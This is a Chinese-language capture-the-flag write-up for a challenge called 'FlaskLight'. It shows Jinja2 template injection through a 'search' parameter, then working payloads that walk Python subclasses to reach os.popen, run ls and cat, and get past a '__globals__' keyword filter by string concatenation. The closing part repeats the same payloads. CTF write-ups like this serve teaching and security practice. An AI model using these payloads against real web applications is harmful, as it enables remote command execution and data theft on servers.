1. 進入題目可也看到有一個FlaskLight的提示,以及頁面上顯示你查詢的和查詢的結果字樣。先查看源碼發現提示內容:有一個get請求方式的參數search
2. 傳遞參數search並進行模板注入的測試,輸入?search={{5*8}},頁面輸出表達式的結果,很好可以進行模板注入,回顯點在You searched for下面
3. 尋找執行命可以借助的類
a. 獲取變量[]所屬的類名 {{[].__class__}}
頁面回顯 <type 'list'>
b. 獲取list所繼承的基類名 {{[].__class__.__base__}}
頁面回顯 <type 'object'>
c. 獲取所有繼承自object的類 {{[].__class__.__base__.__subclasses__()}}
這里回顯了很長一個列表,這里可以將這些數據放在列表中,通過list.index輸出想要的類在第幾位。不過需要對這傳數據進行簡單的處理(將<>換成"")
d. 經過查詢后,可以借助的類<class 'warnings.catch_warnings'>,沒有內置os模塊在第59位。<class 'site._Printer'> 內含os模塊 在第71位,可以借助這些類來執行命令。
不含os模塊的類warnings.catch_warnings
進行命令執行
a. 目錄讀取
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
PS:由於使用['__globals__']會造成500的服務器錯誤信息,並且當我直接輸入search=globals時頁面也會500,覺得這里應該是被過濾了,所以這里采用了字符串拼接的形式['__glo'+'bals__']
頁面回顯:bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
b. 讀取目錄flasklight
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
頁面回顯:app.py coomme_geeeett_youur_flek
c. cat文件 coomme_geeeett_youur_flek 得到flag
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
d. 之后又cat了一下同目錄下的app.py文件,發現確實gloabls在和名單下
內含os模塊的類 class'site._Printer'
a. 目錄查詢
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
因為這里listdir同樣被ban了
b. 讀取目錄flasklight
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
c. 讀取flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}
a. 獲取變量[]所屬的類名 {{[].__class__}} b. 獲取list所繼承的基類名 {{[].__class__.__base__}} c. 獲取所有繼承自object的類 {{[].__class__.__base__.__subclasses__()}} 沒有內置的os模塊的類 目錄查詢 {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 讀取目錄flask {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}} 讀取flag {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
內含os模塊的類(不需要import os) class'site._Printer' 內含os模塊 在第71位 目錄查詢 {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}} 本來想直接用listdir('/'),但這里listdir同樣被ban了 讀取目錄flasklight {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}} 讀取flag {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}